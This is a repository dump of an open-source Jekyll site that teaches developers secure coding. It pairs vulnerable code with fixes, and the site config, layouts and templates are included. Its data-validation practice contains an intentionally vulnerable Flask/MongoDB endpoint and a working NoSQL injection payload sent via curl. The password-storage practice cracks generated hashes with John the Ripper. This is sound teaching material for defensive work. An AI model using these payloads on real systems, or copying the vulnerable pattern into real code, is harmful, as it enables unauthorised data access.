├── .bundle
└── config
├── .gitignore
├── Gemfile
├── Gemfile.lock
├── LICENSE.md
├── README.md
├── _config.yml
├── _includes
├── aside_footer.html
├── footer.html
├── head.html
├── header-default.html
├── header-post.html
├── header.html
├── home-aside.html
├── icon-github.html
├── icon-github.svg
├── icon-twitter.html
├── icon-twitter.svg
├── logo.html
├── menu-search.html
├── scripts.html
├── share.html
├── svg-icons.html
└── tree-posts.html
├── _layouts
├── compress.html
├── default.html
├── home.html
├── minimal.html
├── page.html
├── post.html
└── practice.html
├── _practices
├── _template.md
├── data-validation
│ ├── _python
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── app.py
│ │ ├── docker-compose.yml
│ │ ├── inject_articles.py
│ │ └── requirements.txt
│ └── python.md
├── safe-password-storage
│ ├── _python
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── app.py
│ │ ├── generate_data.py
│ │ ├── john.ini
│ │ ├── password.list
│ │ └── requirements.txt
│ └── python.md
└── timing-attack
│ ├── _python
│ ├── README.md
│ ├── app.py
│ ├── hack.py
│ ├── requirements.txt
│ └── test.py
│ ├── nodejs.md
│ ├── python.md
│ └── string-comparison.jpeg
├── _sass
├── minima.scss
└── minima
│ ├── _base.scss
│ ├── _layout.scss
│ └── _syntax-highlighting.scss
├── assets
├── css
│ ├── font-awesome.css
│ ├── font-awesome.min.css
│ └── main.css
├── font-mfizz.css
├── font-mfizz.eot
├── font-mfizz.svg
├── font-mfizz.ttf
├── font-mfizz.woff
├── fonts
│ ├── .DS_Store
│ ├── FontAwesome.otf
│ ├── fontawesome-webfont.eot
│ ├── fontawesome-webfont.svg
│ ├── fontawesome-webfont.ttf
│ ├── fontawesome-webfont.woff
│ └── fontawesome-webfont.woff2
├── img
│ ├── icons
│ │ ├── apple-touch-icon-114x114.png
│ │ ├── apple-touch-icon-120x120.png
│ │ ├── apple-touch-icon-144x144.png
│ │ ├── apple-touch-icon-152x152.png
│ │ ├── apple-touch-icon-57x57.png
│ │ ├── apple-touch-icon-60x60.png
│ │ ├── apple-touch-icon-72x72.png
│ │ ├── apple-touch-icon-76x76.png
│ │ ├── apple-touch-icon.png
│ │ ├── favicon-16x16.png
│ │ ├── favicon-32x32.png
│ │ ├── favicon-64x64.png
│ │ ├── largetile.png
│ │ ├── mediumtile.png
│ │ ├── smalltile.png
│ │ └── widetile.png
│ ├── logo-cc.png
│ ├── logo-cc.svg
│ ├── logo-cc@2x.png
│ ├── logo-cc@3x.png
│ ├── logo-codoms.png
│ ├── logo-codoms.svg
│ ├── logo-codoms@2x.png
│ ├── logo-codoms@3x.png
│ └── sharding-gerenciamento-usuarios
│ │ ├── ajudando-carregar.jpg
│ │ ├── carrega-sozinho.jpg
│ │ ├── daca-animada.gif
│ │ ├── happy-scooby.gif
│ │ └── servers.gif
├── js
│ └── main.js
└── main.scss
├── contribute.md
├── gulpfile.js
├── index.md
├── local.sh
├── package.json
├── pages
├── c.html
├── clojure.html
├── cplusplus.html
├── csharp.html
├── erlang.html
├── go.html
├── haskell.html
├── java.html
├── nodejs.html
├── objc.html
├── perl.html
├── php.html
├── python.html
├── ruby.html
├── rust.html
├── scala.html
└── search.json
├── script
├── bootstrap
├── build
└── cibuild
├── src
├── img
│ ├── blog-author.jpg
│ ├── blog-image.png
│ ├── icons
│ │ ├── apple-touch-icon-114x114.png
│ │ ├── apple-touch-icon-120x120.png
│ │ ├── apple-touch-icon-144x144.png
│ │ ├── apple-touch-icon-152x152.png
│ │ ├── apple-touch-icon-57x57.png
│ │ ├── apple-touch-icon-60x60.png
│ │ ├── apple-touch-icon-72x72.png
│ │ ├── apple-touch-icon-76x76.png
│ │ ├── apple-touch-icon.png
│ │ ├── favicon-16x16.png
│ │ ├── favicon-32x32.png
│ │ ├── favicon-64x64.png
│ │ ├── favicon.ico
│ │ ├── largetile.png
│ │ ├── mediumtile.png
│ │ ├── smalltile.png
│ │ └── widetile.png
│ ├── logo-cc.png
│ ├── logo-cc.svg
│ ├── logo-cc2x.png
│ ├── logo-cc3x.png
│ ├── logo-codoms.png
│ ├── logo-codoms.svg
│ ├── logo-codoms2x.png
│ └── logo-codoms3x.png
├── js
│ ├── azepto.js
│ ├── simpleJekyllSearch.js
│ └── zmain.js
└── styl
│ ├── _animations.styl
│ ├── _author.styl
│ ├── _elements.styl
│ ├── _footer.styl
│ ├── _header.styl
│ ├── _hightlight.styl
│ ├── _icons.styl
│ ├── _menu.styl
│ ├── _page.styl
│ ├── _post.styl
│ ├── _postlist.styl
│ ├── _search.styl
│ ├── _typo.styl
│ ├── _variables.styl
│ ├── jeet
│ ├── _functions.styl
│ ├── _grid.styl
│ ├── _settings.styl
│ └── index.styl
│ └── main.styl
└── yarn.lock
/.bundle/config:
--------------------------------------------------------------------------------
1 | ---
2 | BUNDLE_PATH: "vendor/bundle/"
3 | BUNDLE_DISABLE_SHARED_GEMS: "true"
4 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Jekyll
2 | _site
3 | .sass-cache
4 | .jekyll-metadata
5 |
6 | # Mac OS X
7 | **/.DS_Store
8 |
9 | # Python
10 | *.pyc
11 | **/__pycache__/
12 |
13 | # JS
14 | **/node_modules/
15 | **/vendor/
--------------------------------------------------------------------------------
/Gemfile:
--------------------------------------------------------------------------------
1 | source "https://rubygems.org"
2 | ruby RUBY_VERSION
3 |
4 | # Hello! This is where you manage which Jekyll version is used to run.
5 | # When you want to use a different version, change it below, save the
6 | # file and run `bundle install`. Run Jekyll with `bundle exec`, like so:
7 | #
8 | # bundle exec jekyll serve
9 | #
10 | # This will help ensure the proper Jekyll version is running.
11 | # Happy Jekylling!
12 | gem "jekyll", "3.4.1"
13 |
14 | # Windows does not include zoneinfo files, so bundle the tzinfo-data gem
15 | gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]
16 |
--------------------------------------------------------------------------------
/Gemfile.lock:
--------------------------------------------------------------------------------
1 | GEM
2 | remote: https://rubygems.org/
3 | specs:
4 | addressable (2.5.0)
5 | public_suffix (~> 2.0, >= 2.0.2)
6 | colorator (1.1.0)
7 | ffi (1.9.18)
8 | forwardable-extended (2.6.0)
9 | jekyll (3.4.1)
10 | addressable (~> 2.4)
11 | colorator (~> 1.0)
12 | jekyll-sass-converter (~> 1.0)
13 | jekyll-watch (~> 1.1)
14 | kramdown (~> 1.3)
15 | liquid (~> 3.0)
16 | mercenary (~> 0.3.3)
17 | pathutil (~> 0.9)
18 | rouge (~> 1.7)
19 | safe_yaml (~> 1.0)
20 | jekyll-sass-converter (1.5.0)
21 | sass (~> 3.4)
22 | jekyll-watch (1.5.0)
23 | listen (~> 3.0, < 3.1)
24 | kramdown (1.13.2)
25 | liquid (3.0.6)
26 | listen (3.0.8)
27 | rb-fsevent (~> 0.9, >= 0.9.4)
28 | rb-inotify (~> 0.9, >= 0.9.7)
29 | mercenary (0.3.6)
30 | pathutil (0.14.0)
31 | forwardable-extended (~> 2.6)
32 | public_suffix (2.0.5)
33 | rb-fsevent (0.9.8)
34 | rb-inotify (0.9.8)
35 | ffi (>= 0.5.0)
36 | rouge (1.11.1)
37 | safe_yaml (1.0.4)
38 | sass (3.4.23)
39 |
40 | PLATFORMS
41 | ruby
42 |
43 | DEPENDENCIES
44 | jekyll (= 3.4.1)
45 | tzinfo-data
46 |
47 | RUBY VERSION
48 | ruby 2.3.0p0
49 |
50 | BUNDLED WITH
51 | 1.14.6
52 |
--------------------------------------------------------------------------------
/LICENSE.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: License
3 | layout: page
4 | ---
5 |
6 | XXX (c) by engineers@sqreen.io
7 |
8 | XXX is licensed under a
9 | Creative Commons Attribution 4.0 International License.
10 |
11 | You should have received a copy of the license along with this
12 | work. If not, see .
13 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Launch
2 |
3 | In order to launch:
4 |
5 | ```
6 | bundle install
7 | bundle exec jekyll serve
8 | ```
9 |
10 | If you want to change stylus styles:
11 |
12 | ```
13 | yarn install
14 | ./node_modules/gulp/bin/gulp.js
15 | ```
16 |
--------------------------------------------------------------------------------
/_config.yml:
--------------------------------------------------------------------------------
1 | # Welcome to Jekyll!
2 | #
3 | # This config file is meant for settings that affect your whole blog, values
4 | # which you are expected to set up once and rarely edit after that. If you find
5 | # yourself editing this file very often, consider using Jekyll's data files
6 | # feature for the data you need to update frequently.
7 | #
8 | # For technical reasons, this file is *NOT* reloaded automatically when you use
9 | # 'bundle exec jekyll serve'. If you change this file, please restart the server process.
10 |
11 | # Site settings
12 | # These are used to personalize your new site. If you look in the HTML files,
13 | # you will see them accessed via {{ site.title }}, {{ site.email }}, and so on.
14 | # You can create any custom variable you would like, and they will be accessible
15 | # in the templates via {{ site.myvariable }}.
16 | title: Developers Security Best Practices
17 | description: > # this means to ignore newlines until "baseurl:"
18 | 'Developers Security Best Practices' is a bullshit-free, developers friendly, open-source reference of best practices
19 | for avoiding vulnerabilities.
20 | baseurl: /DevelopersSecurityBestPractices
21 | url: "https://sqreen.github.io/DevelopersSecurityBestPractices/"
22 | github_url: "https://github.com/sqreen/DevelopersSecurityBestPractices"
23 |
24 | languages_humanized:
25 | c: "C"
26 | clojure: "Clojure"
27 | cplusplus: "C++"
28 | csharp: "C#"
29 | erlang: "Erlang"
30 | go: "Go"
31 | haskell: "Haskell"
32 | java: "Java"
33 | objc: "Objective-C"
34 | perl: "Perl"
35 | php: "PHP"
36 | python: "Python"
37 | ruby: "Ruby"
38 | rust: "Rust"
39 | nodejs: "Node.js"
40 | scala: "Scala"
41 |
42 | # Build settings
43 | markdown: kramdown
44 | exclude:
45 | - Gemfile
46 | - Gemfile.lock
47 | - package.json
48 | - node_modules
49 | - vendor
50 | collections:
51 | practices:
52 | output: true
53 | permalink: /:path
54 | defaults:
55 | - scope:
56 | path: ""
57 | type: practices
58 | values:
59 | layout: practice
60 |
--------------------------------------------------------------------------------
/_includes/aside_footer.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Made with by
7 | Sqreen and the
8 | community
9 |
10 |
--------------------------------------------------------------------------------
/_includes/footer.html:
--------------------------------------------------------------------------------
1 |
8 |
--------------------------------------------------------------------------------
/_includes/head.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | {% if page.title %}{{ page.title }}{% else %}{{ site.title }}{% endif %}{% if page.layout == "practice" %} in {{ page.language }}{% endif %}
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 | {% if page.image %}
20 |
21 | {% else %}
22 |
23 | {% endif %}
24 |
25 |
26 |
27 |
28 | {% if page.image %}
29 |
30 | {% else %}
31 |
32 | {% endif %}
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/_includes/header-default.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
{{ site.description }}
5 |
6 |
7 | All Good practices:
8 |
9 | {% if page.language %}
10 | {% assign practices=site.practices | where:"language", page.language | sort: 'title' %}
11 | {% else %}
12 | {% assign practices=site.practices | sort: 'title' %}
13 | {% endif %}
14 |
15 | {% for post in practices %}
16 | -
17 |
18 |
{{ post.title }}
19 |
20 |
21 | {% endfor %}
22 |
23 | -
24 |
25 |
Add a new good practice
26 |
27 |
28 |
29 |
30 |
31 |
32 | {% include menu-search.html %}
33 |
--------------------------------------------------------------------------------
/_includes/header-post.html:
--------------------------------------------------------------------------------
1 |
4 |
--------------------------------------------------------------------------------
/_includes/header.html:
--------------------------------------------------------------------------------
1 |
28 |
--------------------------------------------------------------------------------
/_includes/home-aside.html:
--------------------------------------------------------------------------------
1 |
39 |
--------------------------------------------------------------------------------
/_includes/icon-github.html:
--------------------------------------------------------------------------------
1 | {% include icon-github.svg %}{{ include.username }}
2 |
--------------------------------------------------------------------------------
/_includes/icon-github.svg:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/_includes/icon-twitter.html:
--------------------------------------------------------------------------------
1 | {{ include.username }}
2 |
--------------------------------------------------------------------------------
/_includes/icon-twitter.svg:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/_includes/logo.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
6 |
7 | Developers Security Best Practices
8 |
9 |
10 |
--------------------------------------------------------------------------------
/_includes/menu-search.html:
--------------------------------------------------------------------------------
1 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/_includes/scripts.html:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/_includes/share.html:
--------------------------------------------------------------------------------
1 |
23 |
--------------------------------------------------------------------------------
/_includes/svg-icons.html:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/_includes/tree-posts.html:
--------------------------------------------------------------------------------
1 |
36 |
--------------------------------------------------------------------------------
/_layouts/compress.html:
--------------------------------------------------------------------------------
1 | ---
2 | # Jekyll layout that compresses HTML
3 | # v1.4.0
4 | # http://jch.penibelst.de/
5 | # © 2014–2015 Anatol Broder
6 | # MIT License
7 | ---
8 | {% if site.compress_html.ignore.envs contains jekyll.environment %}{{ content }}{% else %}{% capture _content %}{{ content }}{% endcapture %}{% assign _profile = site.compress_html.profile %}{% if site.compress_html.endings == "all" %}{% assign _endings = "html head body li dt dd p rt rp optgroup option colgroup caption thead tbody tfoot tr td th" | split: " " %}{% else %}{% assign _endings = site.compress_html.endings %}{% endif %}{% for _element in _endings %}{% capture _end %}{{ _element }}>{% endcapture %}{% assign _content = _content | remove: _end %}{% endfor %}{% if _profile and _endings %}{% assign _profile_endings = _content | size | plus: 1 %}{% endif %}{% assign _pre_befores = _content | split: "" %}{% case _pres.size %}{% when 2 %}{% capture _content %}{{ _content }}{{ _pres.last | split: " " | join: " " }}{% endcapture %}{% when 1 %}{% capture _content %}{{ _content }}{{ _pres.last | split: " " | join: " " }}{% endcapture %}{% endcase %}{% endfor %}{% if _profile %}{% assign _profile_collapse = _content | size | plus: 1 %}{% endif %}{% if site.compress_html.comments == "all" %}{% assign _comments = "" | split: " " %}{% else %}{% assign _comments = site.compress_html.comments %}{% endif %}{% if _comments.size == 2 %}{% assign _comment_befores = _content | split: _comments.first %}{% for _comment_before in _comment_befores %}{% assign _comment_content = _comment_before | split: _comments.last | first %}{% if _comment_content %}{% capture _comment %}{{ _comments.first }}{{ _comment_content }}{{ _comments.last }}{% endcapture %}{% assign _content = _content | remove: _comment %}{% endif %}{% endfor %}{% if _profile %}{% assign _profile_comments = _content | size | plus: 1 %}{% endif %}{% endif %}{% if site.compress_html.clippings == "all" %}{% assign _clippings = "html head title base link meta style body article section nav aside h1 h2 h3 h4 h5 h6 hgroup header footer address p hr blockquote ol ul li dl dt dd figure figcaption main div table caption colgroup col tbody thead tfoot tr td th" | split: " " %}{% else %}{% assign _clippings = site.compress_html.clippings %}{% endif %}{% for _element in _clippings %}{% assign _edges = " ;; ;" | replace: "e", _element | split: ";" %}{% assign _content = _content | replace: _edges[0], _edges[1] | replace: _edges[2], _edges[3] | replace: _edges[4], _edges[5] %}{% endfor %}{% if _profile and _clippings %}{% assign _profile_clippings = _content | size | plus: 1 %}{% endif %}{{ _content }}{% if _profile %}
Step | Bytes |
raw | {{ content | size }}{% if _profile_endings %} |
endings | {{ _profile_endings }}{% endif %}{% if _profile_collapse %} |
collapse | {{ _profile_collapse }}{% endif %}{% if _profile_comments %} |
comments | {{ _profile_comments }}{% endif %}{% if _profile_clippings %} |
clippings | {{ _profile_clippings }}{% endif %} |
{% endif %}{% endif %}
--------------------------------------------------------------------------------
/_layouts/default.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | ---
4 |
5 |
6 | {% include head.html %}
7 |
8 | {% include svg-icons.html %}
9 | {% include header-default.html %}
10 | {% include home-aside.html %}
11 |
12 | {{ content }}
13 |
14 | {% include scripts.html %}
15 |
16 |
17 |
--------------------------------------------------------------------------------
/_layouts/home.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: default
3 | ---
4 |
--------------------------------------------------------------------------------
/_layouts/minimal.html:
--------------------------------------------------------------------------------
1 | ---
2 | layout: compress
3 | ---
4 |
5 |
6 |
7 | {% include head.html %}
8 |
9 | {% include svg-icons.html %}
10 | {% include header-post.html %}
11 | {% include tree-posts.html %}
12 |
13 |
14 |
15 | {{ content }}
16 |
17 | {% include scripts.html %}
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/_layouts/page.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | {% include head.html %}
4 |
5 | {% include svg-icons.html %}
6 | {% include tree-posts.html %}
7 |
8 | {{ page.title }}
9 |
10 |
11 | {{ content }}
12 |
13 |
14 | {% include scripts.html %}
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/_layouts/post.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | {% include head.html %}
4 |
5 | {% include svg-icons.html %}
6 | {% include header-post.html %}
7 | {% include tree-posts.html %}
8 |
9 | {% if page.date %}
10 |
11 |
12 |
13 | {% endif %}
14 | {{ page.title }}
15 |
16 |
17 | {{ content }}
18 |
19 |
20 | {% include share.html %}
21 | {% include scripts.html %}
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/_layouts/practice.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | {% include head.html %}
4 |
5 | {% include svg-icons.html %}
6 |
7 |
9 |
10 | {% include tree-posts.html %}
11 |
12 | {{ page.title }}
13 |
14 |
15 |
16 | {% assign dirname = page.path | split: '/' | pop | join: '/' %}
17 | All code examples are available here.
18 |
19 | {{ content }}
20 |
21 |
22 |
23 |
24 | Edit this page on Github
25 |
26 |
27 |
28 |
29 | {% include share.html %}
30 | {% include scripts.html %}
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/_practices/_template.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: Sample
3 | language: python
4 | ---
5 |
6 | Quick explanation goes here
7 |
8 | # TLDR
9 |
10 | # Vulnerable code
11 |
12 | # Vulnerability explanation
13 |
14 | # Not vulnerable code
15 |
16 | # Example of attack
17 |
18 | {% include_relative _python/README.md %}
19 |
20 | ## References:
21 |
--------------------------------------------------------------------------------
/_practices/data-validation/_python/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.6
2 |
3 | ADD requirements.txt /src/requirements.txt
4 | RUN pip install -r /src/requirements.txt
5 |
6 | ADD . /src
7 | WORKDIR /src
8 | CMD python inject_articles.py; python app.py
9 |
--------------------------------------------------------------------------------
/_practices/data-validation/_python/README.md:
--------------------------------------------------------------------------------
1 | We have provided a sample python web application coded in Flask that accept a post category in a JSON Body in a vulnerable way. You can also find a script that will exploit this vulnerability to retrieve the expected token.
2 |
3 | ### Run the web application
4 |
5 | In order to run the web application, you'll need a MongoDB database running.
6 |
7 | First create a virtualenv:
8 |
9 | ```bash
10 | python -m virtualenv -p $(which python3) venv
11 | source venv/bin/activate
12 | ```
13 |
14 | Then install the dependencies:
15 |
16 | ```bash
17 | pip install -r requirements.txt
18 | ```
19 |
20 | Inject some articles by running:
21 |
22 | ```bash
23 | python inject_articles.py
24 | ```
25 |
26 | You can then run the web application this way:
27 |
28 | ```bash
29 | python app.py
30 | ```
31 |
32 | You can now get the articles in the `python` category with:
33 |
34 | ```bash
35 | $> curl -X POST -H "Content-Type: application/json" -d '{"category": "python"}' "http://localhost:5000/category/"
36 | [{"category": "python", "title": "Running js in python"}]
37 | ```
38 |
39 | Or in the `security` category with:
40 |
41 | ```bash
42 | $> curl -X POST -H "Content-Type: application/json" -d '{"category": "security"}' "http://localhost:5000/category/"
43 | [{"category": "security", "title": "How to safely store password"}]
44 | ```
45 |
46 | But you can't get the articles in the `drafts` category:
47 |
48 | ```bash
49 | $> curl -X POST -H "Content-Type: application/json" -d '{"category": "drafts"}' "http://localhost:5000/category/"
50 | []
51 | ```
52 |
53 | ### Hack the application
54 |
55 | The category endpoint is accepting data without first validating it, so we can actually send a json object and do a Mongodb injection with this payload
56 |
57 | ```json
58 | {"$gte": ""}
59 | ```
60 |
61 | With this payload, the endpoint will returns all articles with a category, include the ones in the `drafts` category:
62 |
63 | ```bash
64 | $> curl -X POST -H "Content-Type: application/json" -d '{"category": {"$gte": ""}}' "http://localhost:5000/category/"
65 | [{"category": "python", "title": "Running js in python"},
66 | {"category": "security", "title": "How to safely store password"},
67 | {"category": "drafts", "title": "My secret draft"}]
68 | ```
69 |
70 | ### Use docker
71 |
72 | We also provided a docker-compose file that you can use if you don't have or want to have a running MongoDB process.
73 |
74 | First you can build with:
75 |
76 | ```
77 | docker-compose build .
78 | ```
79 |
80 | Then launch it with:
81 |
82 | ```
83 | docker-compose up
84 | ```
85 |
86 | The service is now accessible at ```http://localhost:5000``` and you can use the same `curl` commands as above.
87 |
--------------------------------------------------------------------------------
/_practices/data-validation/_python/app.py:
--------------------------------------------------------------------------------
1 | import json
2 |
3 | from os import getenv
4 |
5 | import pymongo
6 | from flask import Flask, request
7 |
8 | app = Flask(__name__)
9 | MONGO_CLIENT = pymongo.MongoClient(getenv("MONGO_HOST", "localhost"))
10 | COLLECTION = MONGO_CLIENT.test.articles
11 |
12 |
13 | @app.route('/category/', methods=['POST'])
14 | def get_articles_by_category():
15 | category = request.get_json()['category']
16 | if category == 'drafts':
17 | return "[]"
18 |
19 | return json.dumps(list(COLLECTION.find({'category': category}, {'_id': False})))
20 |
21 |
22 | if __name__ == "__main__":
23 | app.run(debug=True, host="0.0.0.0")
24 |
--------------------------------------------------------------------------------
/_practices/data-validation/_python/docker-compose.yml:
--------------------------------------------------------------------------------
1 | flask:
2 | build: .
3 | links:
4 | - mongo
5 | ports:
6 | - "5000:5000"
7 | environment:
8 | - MONGO_HOST=mongo
9 | mongo:
10 | image: mongo
11 |
--------------------------------------------------------------------------------
/_practices/data-validation/_python/inject_articles.py:
--------------------------------------------------------------------------------
1 | from app import COLLECTION
2 |
3 | # Inject some articles in python and security categories
4 | COLLECTION.insert({'title': 'Running js in python', 'category': 'python'})
5 | COLLECTION.insert({'title': 'How to safely store password', 'category': 'security'})
6 |
7 | # And inject an article in the draft category that shouldn't be shown
8 | COLLECTION.insert({'title': 'My secret draft', 'category': 'drafts'})
9 |
--------------------------------------------------------------------------------
/_practices/data-validation/_python/requirements.txt:
--------------------------------------------------------------------------------
1 | flask
2 | pymongo
3 |
--------------------------------------------------------------------------------
/_practices/data-validation/python.md:
--------------------------------------------------------------------------------
1 | ---
2 | title: Data validation
3 | language: python
4 | ---
5 |
6 | > Failures or omissions in data validation can lead to data corruption or a security vulnerability. Data validation checks that data are valid, sensible, reasonable, and secure before they are processed. -- [Owasp](https://en.wikipedia.org/wiki/Data_validation#Validation_and_security)
7 |
8 | # TLDR
9 |
10 | Validate all your input, check the boundaries and the expected types!
11 |
12 | # Vulnerable code
13 |
14 | Here is an example of python web-service that doesn't check the type of its parameters
15 |
16 | ```python
17 | @app.route('/category/', methods="POST")
18 | def get_articles_by_category():
19 | category = request.get_json()['category']
20 | if category == 'drafts':
21 | return []
22 |
23 | return pymongo.MongoClient().test.articles.find({'category': category})
24 | ```
25 |
26 | This endpoint forbid access to the `drafts` category but forget to validate the json request.
27 |
28 | # Vulnerability explanation
29 |
30 | When we develop code, we often limit our reflexion to the *happy path*. What are the expected inputs and expected outputs. We test them with unittests and move on to the next piece of code.
31 |
32 | But even the simplest piece of code could crash when playing with the inputs:
33 |
34 | ```python
35 | from decimal import Decimal
36 |
37 | def decimal_division(number_1, number_2):
38 | return Decimal(number_1) / Decimal(number_2)
39 | ```
40 |
41 | It takes two numbers, convert them into Decimal and return the division.
42 |
43 | It works great with int and floats:
44 |
45 | ```python
46 | >>> decimal_division(1, 0.5)
47 | Decimal('2')
48 | ```
49 |
50 | There is the well-known edge-case:
51 |
52 | ```python
53 | >>> decimal_division(1, 0)
54 | ...
55 | raise error(explanation)
56 | decimal.DivisionByZero: x / 0
57 | ```
58 |
59 | That is easy to check:
60 |
61 | ```python
62 | from decimal import Decimal
63 |
64 | def decimal_division(number_1, number_2):
65 |
66 | if number_2 == 0:
67 | raise ValueError(number_2)
68 |
69 | return Decimal(number_1) / Decimal(number_2)
70 | ```
71 |
72 | What about with non-numbers?
73 |
74 | ```python
75 | >>> decimal_division(1, None)
76 | ...
77 | raise TypeError("Cannot convert %r to Decimal" % value)
78 | TypeError: Cannot convert None to Decimal
79 | ```
80 |
81 | We should check for inputs types:
82 |
83 | ```python
84 | from decimal import Decimal
85 |
86 | def decimal_division(number_1, number_2):
87 |
88 | if not isinstance(number_1, (int, float)):
89 | raise ValueError(number_1)
90 |
91 | if number_2 == 0 or not isinstance(number_2, (int, float)):
92 | raise ValueError(number_2)
93 |
94 | return Decimal(number_1) / Decimal(number_2)
95 | ```
96 |
97 | But it's not sufficient, we can also trick the boundaries of the arguments we send:
98 |
99 | ```python
100 | >>> decimal_division(float('inf'), float('-inf'))
101 | ...
102 | raise error(explanation)
103 | decimal.InvalidOperation: (+-)INF/(+-)INF
104 | ```
105 |
106 | We should also limit the values we accept.
107 |
108 | ```python
109 | from decimal import Decimal
110 |
111 | BLACKLIST = [Decimal('inf'), Decimal('-inf')]
112 |
113 | def decimal_division(number_1, number_2):
114 |
115 | if not isinstance(number_1, (int, float)) or number_1 in BLACKLIST:
116 | raise ValueError(number_1)
117 |
118 | if number_2 == 0 or not isinstance(number_2, (int, float)) or number_2 in BLACKLIST:
119 | raise ValueError(number_2)
120 |
121 | return Decimal(number_1) / Decimal(number_2)
122 | ```
123 |
124 | # Not vulnerable code
125 |
126 | There is severals Python libraries that can helps you validate your inputs:
127 |
128 | - Django provides validation through [Forms](http://djangobook.com/form-validation/) and [Models](https://docs.djangoproject.com/en/1.10/ref/models/instances/#validating-objects), be sure to use them.
129 | - [Cerberus](http://cerberus.readthedocs.io/en/latest/) is a clean and nice libraries which is input and validation format agnostic, give it two dicts, it will raise if it fails.
130 |
131 | # Example of attack
132 |
133 | {% include_relative _python/README.md %}
134 |
135 | ## References:
136 |
137 | - http://www.ibm.com/developerworks/library/l-sp2/index.html
138 |
--------------------------------------------------------------------------------
/_practices/safe-password-storage/_python/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:latest
2 | MAINTAINER boris@sqreen.io
3 |
4 | # Install john the ripper
5 | RUN apt-get -y update && apt-get -y install gcc build-essential libssl-dev john git-core
6 | RUN rm `which john`
7 | RUN git clone git://github.com/magnumripper/JohnTheRipper -b bleeding-jumbo john
8 | RUN cd john/src && ./configure && make -s clean && make -sj4
9 | RUN /john/run/john --test=0
10 | ENV PATH /john/run:$PATH
11 | ADD ./john.ini /john.ini
12 | ADD ./password.list /password.list
13 |
14 | # Install enough python to generate passwords
15 | RUN apt-get -y update && apt-get -y install python python-pip
16 | RUN pip install -U pip
17 | ADD requirements.txt /
18 | RUN pip install -r requirements.txt
19 | ADD generate_data.py /
20 |
--------------------------------------------------------------------------------
/_practices/safe-password-storage/_python/README.md:
--------------------------------------------------------------------------------
1 | We have provided a script to generate some data in a format accept by [John The Ripper](http://www.openwall.com/john/). You can use it to generate password hashing by varying some parameters and see the impact it haves on the time needed to crack them. It uses internaly the Django default password hashers, so the hashes are "real". They have the same default settings as Django and can be cracked as fast as real ones.
2 |
3 | It pick a random password from a wordlist named `password.list` so it's the worst case scenario as the password cracker also have access to the password list. The basic list is quite small (~3000 passwords), if you want to have a more realistic scenario, replace `password.list` by [one of password list downloaded here](https://wiki.skullsecurity.org/Passwords).
4 |
5 | Here are some examples of run with MD5, BCrypt and PBKDF2:
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | ### Generate some data locally
14 |
15 | The script `generate_data.py` can be used to generate some data, first install the requirements:
16 |
17 | ```
18 | pip install -r requirements.txt
19 | ```
20 |
21 | ```
22 | usage: generate_data.py [-h] [--salt SALT] [--pepper PEPPER] [--rounds ROUNDS]
23 | [--n N]
24 | algorithm
25 |
26 | Generate username / password list for john the ripper
27 |
28 | positional arguments:
29 | algorithm which algorithm to use (md5, bcrypt or pbkdf2)
30 |
31 | optional arguments:
32 | -h, --help show this help message and exit
33 | --salt SALT which kind of salt to use (none, same, user)
34 | --pepper PEPPER a pepper
35 | --rounds ROUNDS Number of rounds to use
36 | --n N number of users/password to generate
37 | ```
38 |
39 | For example to generate 5 usernames / password with bcrypt and a different salt per user, you can do:
40 |
41 | ```
42 | $> python generate_data.py --salt user --n=5 bcrypt
43 | Generating 5 usernames/password with algorithm 'bcrypt' with salt 'user' [12 rounds] and pepper ''
44 |
45 | drakeandrea:$2b$12$K2GNkU1jZBnrHntKRTeE/OauVFlpC3JzQ/5ZEZQL9h8gJMJhPTKre
46 | darlene71:$2b$12$p69/XRS1fd/N.EYn/saBhO0DQoh/SX8SR6XnA5BpN/eJF523m.U7e
47 | brandonbates:$2b$12$fRTHDpoiWePbm1dU8AihrOfkaqNsgXkyxcRbDAhIEYEvfwA0TNYKK
48 | danielle29:$2b$12$Q5dqtlRuWzh.wZB1ZADCGOb3HOgOV2mjN3.x5/n33cS8IQxLLvi9O
49 | jennifer93:$2b$12$l7m9vmEKLqfPrvLURDVn/OEbnkdDa0cPZugA/4O56B3mchkVRkEom
50 |
51 | Output also write in file `passwd`
52 | You can crack it with `john --wordlist=password.list --format=bcrypt passwd`
53 | ```
54 |
55 | Then to crack it with john the ripper:
56 |
57 | ```
58 | $> john --wordlist=password.list --format=bcrypt passwd
